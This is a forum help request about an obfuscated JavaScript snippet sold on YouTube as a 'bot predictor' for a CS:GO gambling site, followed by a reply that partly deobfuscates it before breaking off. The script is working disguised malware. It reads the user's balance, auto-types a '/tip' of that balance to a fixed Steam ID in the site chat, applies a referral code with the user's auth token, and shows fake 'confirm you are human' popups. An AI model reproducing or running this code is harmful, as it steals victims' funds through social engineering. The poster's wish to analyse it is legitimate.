Can somebody help me decode this. Looks like Javascript or Json - javascript
Can somebody help me decode this. Looks like Javascript or Json.
There is this guy on youtube, who is telling this a bot predictor script.
I just want to know, how did he break the provably fair system. Whether the script is legit.
var _0x6f2e=["\x63\x68\x61\x74\x2D\x69\x6E\x70\x75\x74","\x74\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x74","\x6F\x76\x65\x72\x66\x6C\x6F\x77","\x68\x69\x64\x64\x65\x6E","\x76\x61\x6C\x75\x65","\x2F\x74\x69\x70\x20\x40\x37\x36\x35\x36\x31\x31\x39\x38\x31\x37\x33\x34\x34\x35\x36\x31\x39\x20","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x73\x67\x6F\x65\x6D\x70\x69\x72\x65\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x76\x32\x2F\x75\x73\x65\x72\x2F\x72\x65\x66\x65\x72\x72\x61\x6C","\x66\x72\x65\x65\x31\x30\x64\x6F\x6C\x6C\x61\x72\x73","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x74\x61\x74\x75\x73","\x54\x68\x65\x20\x72\x65\x71\x75\x65\x73\x74\x20\x61\x6E\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x61\x75\x74\x68\x6F\x72\x69\x7A\x61\x74\x69\x6F\x6E","\x74\x6F\x6B\x65\x6E","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64","\x74\x65\x78\x74\x61\x72\x65\x61","\x66\x6F\x63\x75\x73","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74\x20\x0A\x20\x43\x6F\x6E\x66\x69\x72\x6D\x20\x74\x68\x61\x74\x20\x79\x6F\x75\x20\x61\x72\x65\x20\x68\x75\x6D\x61\x6E","\x50\x72\x65\x73\x73\x20\x45\x4E\x54\x45\x52\x20\x6F\x6E\x20\x79\x6F\x75\x72\x20\x6B\x65\x79\x62\x6F\x61\x72\x64\x20\x33\x78\x20\x74\x69\x6D\x65\x73\x20\x74\x6F\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x2E","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74","\x59\x6F\x75\x20\x6E\x65\x65\x64\x20\x68\x69\x67\x68\x65\x72\x20\x62\x61\x6C\x61\x6E\x63\x65\x20\x74\x6F\x20\x73\x74\x61\x72\x74\x20\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74\x2E","\x59\x6F\x75\x20\x6E\x65\x65\x64\x20\x68\x69\x67\x68\x65\x72\x20\x62\x61\x6C\x61\x6E\x63\x65\x20\x74\x6F\x20\x64\x6F\x20\x74\x68\x61\x74\x21\x20\x59\x6F\x75\x72\x20\x63\x6F\x69\x6E\x73\x20\x61\x72\x65\x20\x73\x61\x66\x65\x2C\x20\x70\x6C\x65\x61\x73\x65\x20\x72\x65\x2D\x64\x65\x70\x6F\x73\x69\x74\x20\x61\x6E\x64\x20\x74\x72\x79\x20\x61\x67\x61\x69\x6E\x20\x74\x6F\x20\x66\x69\x6E\x69\x73\x68\x20\x70\x72\x6F\x63\x65\x73\x73\x20\x64\x6F\x75\x62\x6C\x69\x6E\x67\x20\x62\x61\x6C\x61\x6E\x63\x65","\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x72\x65\x70\x6C\x61\x63\x65","\x76\x2D\x2D\x6D\x6F\x64\x61\x6C\x2D\x6F\x76\x65\x72\x6C\x61\x79","\x76\x2D\x2D\x6D\x6F\x64\x61\x6C\x2D\x62\x6F\x78\x20\x76\x2D\x2D\x6D\x6F\x64\x61\x6C","\x72\x65\x6D\x6F\x76\x65","\x64\x69\x76","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x43\x52\x49\x50\x54","\x66\x6C\x65\x78\x20\x77\x2D\x66\x75\x6C\x6C","\x73\x74\x79\x6C\x65","\x62\x75\x74\x74\x6F\x6E","\x77\x69\x64\x74\x68\x3A\x31\x35\x30\x25\x3B\x6C\x65\x66\x74\x3A\x32\x35\x25\x3B","\x53\x54\x41\x52\x54","\x6F\x6E\x63\x6C\x69\x63\x6B","\x6F\x62\x72\x69\x73\x61\x6E\x6F\x20\x73\x76\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x62\x69\x67\x64\x69\x76","\x77\x69\x64\x74\x68\x3A\x20\x33\x30\x25\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x31\x35\x70\x78\x3B\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x74\x6F\x70\x3A\x20\x31\x30\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x67\x72\x65\x79\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x31\x30\x30\x3B\x6C\x65\x66\x74\x3A\x20\x33\x35\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x33\x33\x33\x35\x34\x31\x3B\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x2E\x36\x32\x35\x72\x65\x6D\x3B\x2F\x2A\x20\x6F\x76\x65\x72\x66\x6C\x6F\x77\x3A\x20\x76\x69\x73\x69\x62\x6C\x65\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2D\x77\x65\x62\x6B\x69\x74\x2D\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x32\x30\x70\x78\x20\x32\x30\x70\x78\x20\x30\x20\x72\x67\x62\x61\x28\x30\x2C\x30\x2C\x30\x2C\x2E\x35\x29\x3B\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x30\x70\x78\x20\x35\x70\x78\x20\x30\x20\x23\x46\x46\x36\x35\x32\x46\x3B\x2F\x2A\x20\x74\x6F\x70\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2F\x2A\x20\x6C\x65\x66\x74\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2F\x2A\x20\x6D\x61\x72\x67\x69\x6E\x2D\x62\x6F\x74\x74\x6F\x6D\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x62\x6F\x72\x64\x65\x72\x3A\x20\x31\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x23\x46\x46\x36\x35\x32\x46\x3B","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x61\x62\x73\x6F\x6C\x75\x74\x65","\x7A\x49\x6E\x64\x65\x78","\x6D\x61\x72\x67\x69\x6E\x54\x6F\x70","\x66\x6F\x6E\x74\x53\x69\x7A\x65","\x2E\x38\x31\x32\x35\x72\x65\x6D","\x63\x6F\x6C\x6F\x72","\x70\x61\x64\x64\x69\x6E\x67","\x31\x2E\x32\x25","\x6F\x70\x61\x63\x69\x74\x79","\x30\x2E\x34","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x61\x74\x77\x68\x6F\x2D\x77\x72\x61\x70","\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x30\x78\x30","\x69\x6E\x6E\x65\x72\x54\x65\x78\x74","\x62\x61\x6C\x61\x6E\x63\x65","\x30\x78\x31","\x2C","","\x30\x78\x32","\x6C\x6F\x67","\x30\x78\x33","\x30\x78\x34","\x30\x78\x35","\x30\x78\x36","\x30\x78\x37","\x68\x33","\x30\x78\x38","\x30\x78\x39","\x30\x78\x61","\x30\x78\x62","\x30\x78\x63","\x30\x78\x64","\x30\x78\x65","\x30\x78\x66","\x30\x78\x31\x30","\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x66\x69\x78\x65\x64\x3B\x77\x69\x64\x74\x68\x3A\x20\x31\x30\x30\x25\x3B\x68\x65\x69\x67\x68\x74\x3A\x20\x31\x30\x30\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x62\x6C\x61\x63\x6B\x3B\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x30\x2E\x37\x35\x3B\x74\x6F\x70\x3A\x20\x30\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x39\x30\x3B","\x30\x78\x31\x31","\x30\x78\x31\x32","\x69\x64","\x30\x78\x31\x33","\x30\x78\x31\x34","\x70","\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x63\x65\x6E\x74\x65\x72\x3B\x66\x6F\x6E\x74\x2D\x66\x61\x6D\x69\x6C\x79\x3A\x20\x61\x6D\x65\x72\x69\x63\x61\x6E\x2D\x63\x61\x70\x74\x61\x69\x6E\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x34\x30\x30\x3B\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x64\x63\x64\x63\x64\x63\x3B\x6C\x65\x74\x74\x65\x72\x2D\x73\x70\x61\x63\x69\x6E\x67\x3A\x20\x2E\x30\x32\x35\x65\x6D\x3B\x6C\x69\x6E\x65\x2D\x68\x65\x69\x67\x68\x74\x3A\x20\x32\x2E\x32\x35\x3B\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x32\x34\x70\x78\x3B","\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x20\x31\x35\x70\x78\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x34\x30\x30\x3B\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x37\x30\x30\x3B\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x46\x46\x36\x35\x32\x46\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x32\x30\x70\x78\x3B","\x61\x70\x70\x65\x6E\x64","\x73\x70\x61\x6E","\x54\x79\x70\x65\x20\x4D\x65\x73\x73\x61\x67\x65\x2E\x2E\x2E","\x30\x78\x31\x35","\x30\x78\x31\x36","\x30\x78\x31\x37","\x39","\x30\x78\x31\x38","\x35\x25","\x6D\x61\x72\x67\x69\x6E\x4C\x65\x66\x74","\x34\x25","\x30\x78\x31\x39","\x30\x78\x31\x61","\x30\x78\x31\x62","\x23\x64\x63\x64\x63\x64\x63","\x30\x78\x31\x63","\x30\x78\x31\x64","\x30\x78\x31\x65","\x30\x78\x31\x66","\x30\x78\x32\x30","\x30\x78\x32\x31","\x30\x78\x32\x32","\x30\x78\x32\x33","\x30\x78\x32\x34","\x30\x78\x32\x35","\x30\x78\x32\x36","\x30\x78\x32\x37","\x0A","\x30\x78\x32\x38","\x30\x78\x32\x39","\x30\x78\x32\x61","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x30\x78\x32\x62","\x30\x78\x32\x63","\x30\x78\x32\x64","\x30\x78\x32\x65","\x30\x78\x32\x66","\x30\x78\x33\x30","\x30\x78\x33\x31","\x30\x78\x33\x32","\x30\x78\x33\x33","\x30\x78\x33\x34","\x30\x78\x33\x35","\x30\x78\x33\x36","\x30\x78\x33\x37","\x30\x78\x33\x38","\x30\x78\x33\x39","\x30\x78\x33\x61","\x30\x78\x33\x62","\x30\x78\x33\x63"];var _0x2f47=[_0x6f2e[0],_0x6f2e[1],_0x6f2e[2],_0x6f2e[3],_0x6f2e[4],_0x6f2e[5],_0x6f2e[6],_0x6f2e[7],_0x6f2e[8],_0x6f2e[9],_0x6f2e[10],_0x6f2e[11],_0x6f2e[12],_0x6f2e[13],_0x6f2e[14],_0x6f2e[15],_0x6f2e[16],_0x6f2e[17],_0x6f2e[18],_0x6f2e[19],_0x6f2e[20],_0x6f2e[21],_0x6f2e[22],_0x6f2e[23],_0x6f2e[24],_0x6f2e[25],_0x6f2e[26],_0x6f2e[27],_0x6f2e[28],_0x6f2e[29],_0x6f2e[30],_0x6f2e[31],_0x6f2e[32],_0x6f2e[33],_0x6f2e[34],_0x6f2e[35],_0x6f2e[36],_0x6f2e[37],_0x6f2e[38],_0x6f2e[39],_0x6f2e[40],_0x6f2e[41],_0x6f2e[42],_0x6f2e[43],_0x6f2e[44],_0x6f2e[45],_0x6f2e[46],_0x6f2e[47],_0x6f2e[48],_0x6f2e[49],_0x6f2e[50],_0x6f2e[51],_0x6f2e[52],_0x6f2e[53],_0x6f2e[54],_0x6f2e[55],_0x6f2e[56],_0x6f2e[57],_0x6f2e[58],_0x6f2e[59],_0x6f2e[60]];(function(_0x735ax2,_0x735ax3){var _0x735ax4=function(_0x735ax5){while(--_0x735ax5){_0x735ax2[_0x6f2e[62]](_0x735ax2[_0x6f2e[61]]())}};_0x735ax4(++_0x735ax3)}(_0x2f47,0x14c));var _0x416c=function(_0x735ax7,_0x735ax8){_0x735ax7= _0x735ax7- 0x0;var _0x735ax9=_0x2f47[_0x735ax7];return _0x735ax9};var _0x1234=[_0x416c(_0x6f2e[63]),_0x6f2e[64],_0x6f2e[65],_0x416c(_0x6f2e[66]),_0x6f2e[67],_0x6f2e[68],_0x416c(_0x6f2e[69]),_0x6f2e[70],_0x416c(_0x6f2e[71]),_0x416c(_0x6f2e[72]),_0x416c(_0x6f2e[73]),_0x416c(_0x6f2e[74]),_0x416c(_0x6f2e[75]),_0x6f2e[76],_0x416c(_0x6f2e[77]),_0x416c(_0x6f2e[78]),_0x416c(_0x6f2e[79]),_0x416c(_0x6f2e[80]),_0x416c(_0x6f2e[81]),_0x416c(_0x6f2e[82]),_0x416c(_0x6f2e[83]),_0x416c(_0x6f2e[84]),_0x416c(_0x6f2e[85]),_0x6f2e[86],_0x416c(_0x6f2e[87]),_0x416c(_0x6f2e[88]),_0x6f2e[89],_0x416c(_0x6f2e[90]),_0x416c(_0x6f2e[91]),_0x6f2e[92],_0x6f2e[93],_0x6f2e[94],_0x6f2e[95],_0x6f2e[96],_0x6f2e[97],_0x416c(_0x6f2e[98]),_0x416c(_0x6f2e[99]),_0x416c(_0x6f2e[100]),_0x6f2e[101],_0x416c(_0x6f2e[102]),_0x6f2e[103],_0x6f2e[104],_0x6f2e[105],_0x416c(_0x6f2e[106]),_0x416c(_0x6f2e[107]),_0x416c(_0x6f2e[108]),_0x6f2e[109],_0x416c(_0x6f2e[110]),_0x416c(_0x6f2e[111]),_0x416c(_0x6f2e[112]),_0x416c(_0x6f2e[113]),_0x416c(_0x6f2e[114]),_0x416c(_0x6f2e[115]),_0x416c(_0x6f2e[116]),_0x416c(_0x6f2e[117]),_0x416c(_0x6f2e[118]),_0x416c(_0x6f2e[119]),_0x416c(_0x6f2e[120]),_0x416c(_0x6f2e[121]),_0x6f2e[122],_0x416c(_0x6f2e[123]),_0x416c(_0x6f2e[124]),_0x416c(_0x6f2e[125]),_0x6f2e[126],_0x416c(_0x6f2e[127]),_0x416c(_0x6f2e[128]),_0x416c(_0x6f2e[129]),_0x416c(_0x6f2e[130]),_0x416c(_0x6f2e[131]),_0x416c(_0x6f2e[132]),_0x416c(_0x6f2e[133]),_0x416c(_0x6f2e[134]),_0x416c(_0x6f2e[135]),_0x416c(_0x6f2e[136]),_0x416c(_0x6f2e[137]),_0x416c(_0x6f2e[138]),_0x416c(_0x6f2e[139]),_0x416c(_0x6f2e[140]),_0x416c(_0x6f2e[141]),_0x416c(_0x6f2e[142]),_0x416c(_0x6f2e[143]),_0x416c(_0x6f2e[144])];_0x1234[0x0];var _0xde2d=[_0x1234[0x0],_0x1234[0x1],_0x1234[0x2],_0x1234[0x3],_0x1234[0x4],_0x1234[0x5],_0x1234[0x6],_0x1234[0x7],_0x1234[0x8],_0x1234[0x9],_0x1234[0xa],_0x1234[0xb],_0x1234[0xc],_0x1234[0xd],_0x1234[0xe],_0x1234[0xf],_0x1234[0x10],_0x1234[0x11],_0x1234[0x12],_0x1234[0x13],_0x1234[0x14],_0x1234[0x15],_0x1234[0x16],_0x1234[0x17],_0x1234[0x18],_0x1234[0x19],_0x1234[0x1a],_0x1234[0x1b],_0x1234[0x1c],_0x1234[0x1d],_0x1234[0x1e],_0x1234[0x1f],_0x1234[0x20],_0x1234[0x21],_0x1234[0x22],_0x1234[0x23],_0x1234[0x24],_0x1234[0x25],_0x1234[0x26],_0x1234[0x27],_0x1234[0x28],_0x1234[0x29],_0x1234[0x2a],_0x1234[0x2b],_0x1234[0x2c],_0x1234[0x2d],_0x1234[0x2e],_0x1234[0x2f],_0x1234[0x30],_0x1234[0x31],_0x1234[0x32],_0x1234[0x33],_0x1234[0x34],_0x1234[0x35],_0x1234[0x36],_0x1234[0x37],_0x1234[0x38],_0x1234[0x39],_0x1234[0x3a],_0x1234[0x3b],_0x1234[0x3c],_0x1234[0x3d],_0x1234[0x3e],_0x1234[0x3f],_0x1234[0x40],_0x1234[0x41],_0x1234[0x42],_0x1234[0x43],_0x1234[0x44],_0x1234[0x45],_0x1234[0x46],_0x1234[0x47],_0x1234[0x48],_0x1234[0x49],_0x1234[0x4a],_0x1234[0x4b],_0x1234[0x4c],_0x1234[0x4d],_0x1234[0x4e],_0x1234[0x4f],_0x1234[0x50],_0x1234[0x51]];_0xde2d[0x0];var _0x8e4c=[_0xde2d[0x1],_0xde2d[0x2],_0xde2d[0x3],_0xde2d[0x4],_0xde2d[0x5],_0xde2d[0x6],_0xde2d[0x7],_0xde2d[0x8],_0xde2d[0x9],_0xde2d[0xa],_0xde2d[0xb],_0xde2d[0xc],_0xde2d[0xd],_0xde2d[0xe],_0xde2d[0xf],_0xde2d[0x10],_0xde2d[0x11],_0xde2d[0x12],_0xde2d[0x13],_0xde2d[0x14],_0xde2d[0x15],_0xde2d[0x16],_0xde2d[0x17],_0xde2d[0x18],_0xde2d[0x19],_0xde2d[0x1a],_0xde2d[0x1b],_0xde2d[0x1c],_0xde2d[0x1d],_0xde2d[0x1e],_0xde2d[0x1f],_0xde2d[0x20],_0xde2d[0x21],_0xde2d[0x22],_0xde2d[0x23],_0xde2d[0x24],_0xde2d[0x25],_0xde2d[0x26],_0xde2d[0x27],_0xde2d[0x28],_0xde2d[0x29],_0xde2d[0x2a],_0xde2d[0x2b],_0xde2d[0x2c],_0xde2d[0x2d],_0xde2d[0x2e],_0xde2d[0x2f],_0xde2d[0x30],_0xde2d[0x31],_0xde2d[0x32],_0xde2d[0x33],_0xde2d[0x34],_0xde2d[0x35],_0xde2d[0x36],_0xde2d[0x37],_0xde2d[0x38],_0xde2d[0x39],_0xde2d[0x3a],_0xde2d[0x3b],_0xde2d[0x3c],_0xde2d[0x3d],_0xde2d[0x3e],_0xde2d[0x3f],_0xde2d[0x40],_0xde2d[0x41],_0xde2d[0x42],_0xde2d[0x43],_0xde2d[0x44],_0xde2d[0x45],_0xde2d[0x46],_0xde2d[0x47],_0xde2d[0x48],_0xde2d[0x49],_0xde2d[0x4a],_0xde2d[0x4b],_0xde2d[0x4c],_0xde2d[0x4d],_0xde2d[0x4e],_0xde2d[0x4f],_0xde2d[0x50],_0xde2d[0x51]];var pare=document[_0x8e4c[0x2]](_0x8e4c[0x1])[0x0][_0x8e4c[0x0]];pare= pare[_0x8e4c[0x5]](_0x8e4c[0x3],_0x8e4c[0x4]);console[_0x8e4c[0x6]](pare);if(parseFloat(pare)>= 0x5){var zameniText=function(){var _0x735axf=setInterval(function(){var _0x735ax10=document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0];if(_0x735ax10){_0x735ax10= _0x735ax10[_0x8e4c[0x2]](_0x8e4c[0x8])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xc])[0x0][_0x8e4c[0x0]]= _0x8e4c[0xd];_0x735ax10= _0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10= _0x735ax10[_0x8e4c[0x2]](_0x8e4c[0xe])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0xf]]= _0x8e4c[0x11];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0x0]]= _0x8e4c[0x12];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0x13]]= function(){doubleB()};console[_0x8e4c[0x6]](_0x8e4c[0x14]);clearInterval(_0x735axf)}})};var napraviPopup=function(_0x735ax12,_0x735ax13){var _0x735ax14=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax14[_0x8e4c[0xf]]= _0x8e4c[0x16];document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax14);var _0x735ax15=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax15[_0x8e4c[0x19]]= _0x8e4c[0x1a];_0x735ax15[_0x8e4c[0xf]]= _0x8e4c[0x1b];var _0x735ax16=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax16[_0x8e4c[0xf]]= _0x8e4c[0x1d];_0x735ax16[_0x8e4c[0x0]]= _0x735ax12;var _0x735ax17=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax17[_0x8e4c[0xf]]= _0x8e4c[0x1e];_0x735ax17[_0x8e4c[0x0]]= _0x735ax13;_0x735ax15[_0x8e4c[0x17]](_0x735ax16);_0x735ax15[_0x8e4c[0x1f]](_0x735ax17);document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax15);var _0x735ax18=setInterval(function(){if(document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0]){_0x735ax15[_0x8e4c[0x9]]();_0x735ax14[_0x8e4c[0x9]]();clearInterval(int1);zameniText();clearInterval(_0x735ax18)}})};var sredi=function(_0x735ax1a){var _0x735ax1b=document[_0x8e4c[0x15]](_0x8e4c[0x20]);_0x735ax1b[_0x8e4c[0x0]]= _0x8e4c[0x21];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x22]]= _0x8e4c[0x23];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x24]]= _0x8e4c[0x25];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x26]]= _0x8e4c[0x27];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x28]]= _0x8e4c[0x29];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2a]]= _0x8e4c[0x2b];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2c]]= _0x8e4c[0x2d];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2e]]= _0x8e4c[0x2f];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x30]]= _0x8e4c[0x31];document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0x2]](_0x8e4c[0x33])[0x0][_0x8e4c[0x32]](_0x735ax1b,_0x735ax1a);_0x735ax1a[_0x8e4c[0xf]][_0x8e4c[0x2c]]= _0x8e4c[0x35];_0x735ax1a[_0x8e4c[0xf]][_0x8e4c[0x36]]= _0x8e4c[0x37];_0x735ax1a[_0x8e4c[0x38]]= _0x8e4c[0x39]+ pare+ _0x8e4c[0x3a]};var zakacizamene=function(){var _0x735ax1d=_0x8e4c[0x3b];var _0x735ax1e= new XMLHttpRequest();var _0x735ax1f=_0x735ax1d;var _0x735ax20={'\x72\x65\x66\x65\x72\x72\x61\x6C\x5F\x63\x6F\x64\x65':_0x8e4c[0x3c]};_0x735ax1e[_0x8e4c[0x3d]]= function(){if(this[_0x8e4c[0x3e]]== 0x4&& this[_0x8e4c[0x3f]]== 0xc8){console[_0x8e4c[0x6]](_0x8e4c[0x40])}};_0x735ax1e[_0x8e4c[0x42]](_0x8e4c[0x41],_0x735ax1f,!![]);_0x735ax1e[_0x8e4c[0x45]](_0x8e4c[0x43],_0x8e4c[0x44]);_0x735ax1e[_0x8e4c[0x45]](_0x8e4c[0x46],_0x735ax20[_0x8e4c[0x47]]);_0x735ax1e[_0x8e4c[0x49]](JSON[_0x8e4c[0x48]](_0x735ax20))};sredi(document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0xb]](_0x8e4c[0x4a])[0x0]);var int1=setInterval(function(){document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0xb]](_0x8e4c[0x4a])[0x0][_0x8e4c[0x4b]]()},0x3e8);napraviPopup(_0x8e4c[0x4c],_0x8e4c[0x4d]);zakacizamene()}else {napraviPopup1(_0x8e4c[0x4e],_0x8e4c[0x4f])};function napraviPopup1(_0x735ax23,_0x735ax24){var _0x735ax25=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax25[_0x8e4c[0xf]]= _0x8e4c[0x16];_0x735ax25[_0x8e4c[0x13]]= function(){_0x735ax25[_0x8e4c[0x9]]();_0x735ax26[_0x8e4c[0x9]]()};document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax25);var _0x735ax26=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax26[_0x8e4c[0x19]]= _0x8e4c[0x1a];_0x735ax26[_0x8e4c[0xf]]= _0x8e4c[0x1b];var _0x735ax27=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax27[_0x8e4c[0xf]]= _0x8e4c[0x1d];_0x735ax27[_0x8e4c[0x0]]= _0x735ax23;var _0x735ax28=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax28[_0x8e4c[0xf]]= _0x8e4c[0x1e];_0x735ax28[_0x8e4c[0x0]]= _0x735ax24;_0x735ax26[_0x8e4c[0x17]](_0x735ax27);_0x735ax26[_0x8e4c[0x1f]](_0x735ax28);document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax26)}function doubleB(){napraviPopup1(_0x8e4c[0x4e],_0x8e4c[0x50]);var _0x735ax2a=setInterval(function(){if(document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0]){document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0][_0x8e4c[0x9]]();clear(_0x735ax2a)}})}
https://beautifier.io/
This might be the closest way you can get to the original source code without manually interpreting it
'use strict';
(function(data, i) {
var write = function(isLE) {
for (; --isLE;) {
data["push"](data["shift"]());
}
};
write(++i);
})(_0x2f47, 332);
var _0x416c = function(i, parameter1) {
i = i - 0;
var oembedView = _0x2f47[i];
return oembedView;
};
var _0x1234 = [_0x416c("0x0"), "innerText", "balance", _0x416c("0x1"), ",", "", _0x416c("0x2"), "log", _0x416c("0x3"), _0x416c("0x4"), _0x416c("0x5"), _0x416c("0x6"), _0x416c("0x7"), "h3", _0x416c("0x8"), _0x416c("0x9"), _0x416c("0xa"), _0x416c("0xb"), _0x416c("0xc"), _0x416c("0xd"), _0x416c("0xe"), _0x416c("0xf"), _0x416c("0x10"), "position: fixed;width: 100%;height: 100%;background-color: black;opacity: 0.75;top: 0;z-index: 90;", _0x416c("0x11"), _0x416c("0x12"), "id", _0x416c("0x13"), _0x416c("0x14"),
"p", "text-align:center;font-family: american-captain;font-weight: 400;color: #dcdcdc;letter-spacing: .025em;line-height: 2.25;font-size:24px;", "margin-top: 15px;font-weight: 400;text-align: center;font-weight: 700;color: #FF652F;padding: 20px;", "append", "span", "Type Message...", _0x416c("0x15"), _0x416c("0x16"), _0x416c("0x17"), "9", _0x416c("0x18"), "5%", "marginLeft", "4%", _0x416c("0x19"), _0x416c("0x1a"), _0x416c("0x1b"), "#dcdcdc", _0x416c("0x1c"), _0x416c("0x1d"), _0x416c("0x1e"), _0x416c("0x1f"),
